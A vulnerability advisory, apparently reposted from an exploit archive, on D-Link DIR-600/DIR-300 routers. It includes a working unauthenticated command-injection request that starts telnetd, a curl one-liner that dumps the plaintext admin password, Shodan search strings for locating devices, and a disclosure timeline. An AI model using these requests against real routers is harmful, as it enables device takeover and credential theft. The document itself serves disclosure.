D-Link DIR-600 and DIR-300 suffer insecure cryptographic storage, remote command execution, information disclosure, and insecure password changing vulnerabilities.
Device Name: DIR-600 / DIR 300 - HW rev B1 Vendor: D-Link ============ Vulnerable Firmware Releases - DIR-300: ============ Firmware Version : 2.12 - 18.01.2012 Firmware Version : 2.13 - 07.11.2012 ============ Vulnerable Firmware Releases - DIR-600: ============ Firmware-Version : 2.12b02 - 17/01/2012 Firmware-Version : 2.13b01 - 07/11/2012 Firmware-Version : 2.14b01 - 22/01/2013 ============ Device Description: ============ D-Link® introduces the Wireless 150 Router (DIR-600), which delivers high performance end-to-end wireless connectivity based on 802.11n technology. The DIR-600 provides better wireless coverage and improved speeds over standard 802.11g*. Upgrading your home network to Wireless 150 provides an excellent solution for experiencing better wireless performance while sharing a broadband Internet connection with multiple computers over a secure wireless network. Source (dead): http://www.dlink.com/us/en/support/product/dir-600-wireless-n-150-home-r... German website: http://www.dlink.de/cs/Satellite?c=TechSupport_C&childpagename=DLinkEuro... ============ Shodan Torks ============ Shodan search: Server: Linux, HTTP/1.1, DIR-300 Server: Linux, HTTP/1.1, DIR-600 ============ Vulnerability Overview: ============ * OS Command Injection (unauthenticated) => Parameter cmd The vulnerability is caused by missing access restrictions and missing input validation in the cmd parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to start a telnetd to compromise the device. WARNING: You do not need to be authenticated to the device! Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-600-OS-Command-Injectino.png starting a telnet server: Request: POST /command.php HTTP/1.1 Host: 192.168.178.222 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://192.168.178.222/ Content-Length: 15 Cookie: uid=hfaiGzkB4z Pragma: no-cache Cache-Control: no-cache cmd=telnetd; You do not need to be authenticated to the device for executing the malicious commands. You could prepare the whole request and execute it without any authentication details. For example you could start the telnetd on other ports and interfaces. So with this you are able to get a full shell *h00ray* Nmap Scan after starting the telnetd: Nmap scan report for 192.168.178.222 Host is up (0.022s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 1/tcp filtered tcpmux 23/tcp open telnet BusyBox telnetd 1.14.1 <<==!!! <snip> Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-600-OS-Command-Injection-telnetd.png * Information disclosure: Nice server banner to detect this type of devices easily: Server: Linux, HTTP/1.1, DIR-300 Ver 2.12 Server: Linux, HTTP/1.1, DIR-600 Ver 2.12 * For changing the current password there is no request to the current password With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser. * Insecure Cryptographic Storage: There is no password hashing implemented and so it is saved in plain text on the system: # cat var/passwd "admin" "test" "0" Positive Technologies has released an advisory in 2011 and D-Link has fixed this issue: http://en.securitylab.ru/lab/PT-2011-30 With the current version of the firmware the passwords are stored again in plaintext. If you combine the plaintext credential vulnerability with the unauthenticated os command injection vulnerability you will get the following one liner to extract the admin password from every vulnerable device: [email protected]:~# curl --data "cmd=cat /var/passwd" http://<Target IP>/command.php "admin" "THESECRETPASS" "0" [email protected]:~# * Information Disclosure: Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available via the network. Request: http://Target-IP/DevInfo.txt or try to access version.txt and have a look at the html source ;) Response: HTTP/1.1 200 OK Server: Linux, HTTP/1.1, DIR-600 Ver 2.14 Date: Fri, 31 Dec 1999 18:04:13 GMT Content-Length: 267 Firmware External Version: V2.14 Firmware Internal Version: d1mg Model Name: DIR-600 Hardware Version: Bx WLAN Domain: 826 Kernel: 188.8.131.52 Language: en Graphcal Authentication: Disable LAN MAC: <snip> WAN MAC: <snip> WLAN MAC: <snip> These details are available without authentication. * Local path disclosure Every piece of information is interesting for the attacker. With this we will get some more details about the operating system and its paths. Request: http://<IP>/router_info.xml Response: HTTP/1.1 200 OK Server: Linux, HTTP/1.1, DIR-300 Ver 2.12 Date: Sat, 01 Jan 2000 21:22:43 GMT Content-Type: text/xml Content-Length: 49 EPHP: dophp(load,/htdocs/widget/.xml) ERROR (-1) * Stored XSS via WLAN Assistent and Version Details Injecting scripts into the parameter SSID reveals that this parameter is not properly validated for malicious input. => Parameter: SSID The injected code gets executed if you try to access the file version.txt. For this you do not need to be authenticated :) http://Target-IP/version.txt ============ Solution ============ No known solution available. ============ Credits ============ The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de/m1adv2013-003 Video: http://www.s3cur1ty.de/home-network-horror-days ============ Time Line: ============ 14.12.2012 - discovered vulnerability 14.12.2012 - contacted dlink with the new vulnerability details via webinterface 20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D'Link 21.12.2012 - D'link responded that they will check the findings *h00ray* 11.01.2013 - requested status update 25.01.2013 - requested status update 25.01.2013 - D'Link responded that this is a security problem from the user and/or browser and they will not provide a fix. Quite interesting but ok ... 25.01.2013 - I gave more details and as much input as possible so they can evaluate the vulnerabilities better 04.02.2013 - no more responses from D'Link, public release ===================== Advisory end ===================== # 0day.today [2018-03-14] #